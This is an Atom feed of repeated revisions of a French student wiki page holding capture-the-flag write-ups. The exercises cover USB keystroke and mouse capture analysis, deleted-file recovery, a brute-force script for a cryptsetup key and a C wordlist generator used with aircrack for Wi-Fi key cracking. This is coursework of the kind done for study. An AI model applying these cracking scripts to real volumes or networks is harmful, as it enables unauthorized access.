https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&feedformat=atom&user=LwadbledWiki d'activités IMA - Contributions de l’utilisateur [fr]2026-05-12T22:00:28ZContributions de l’utilisateurMediaWiki 1.29.2https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58346Cyber 2021/2022 G32022-01-20T13:10:03Z<p>Lwadbled : /* Encore une image en musique */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
En lisant le fichier octet par octet, on trouve des paquets de 4 octets qui se répetent<br />
On simplifie le motif en supprimant toutes les occurences superflues. On obtient une suite de symboles que l'on essaye d'interpréter comme soit des 0 soit des 1.<br />
On se retrouve donc avec un fichier binaire. En interprétant ce dernier comme de l'ASCII on trouve un en-tête de la forme :<br />
P6<br />
225 225<br />
255<br />
//le reste du code binaire<br />
<br />
Cela fait penser à la trame d'un fichier ppm en nuance de gris<br />
Lorsqu'on l'affiche comme tel, on n'obtient malheuresement pas une image lisisble<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
En remontant un peu dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type.<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58328Cyber 2021/2022 G32022-01-20T13:00:50Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C : <br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58326Cyber 2021/2022 G32022-01-20T13:00:10Z<p>Lwadbled : /* Déjà vu */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58325Cyber 2021/2022 G32022-01-20T12:59:37Z<p>Lwadbled : /* Espion dans le bus */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58324Cyber 2021/2022 G32022-01-20T12:58:33Z<p>Lwadbled : /* Encore une image en musique */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
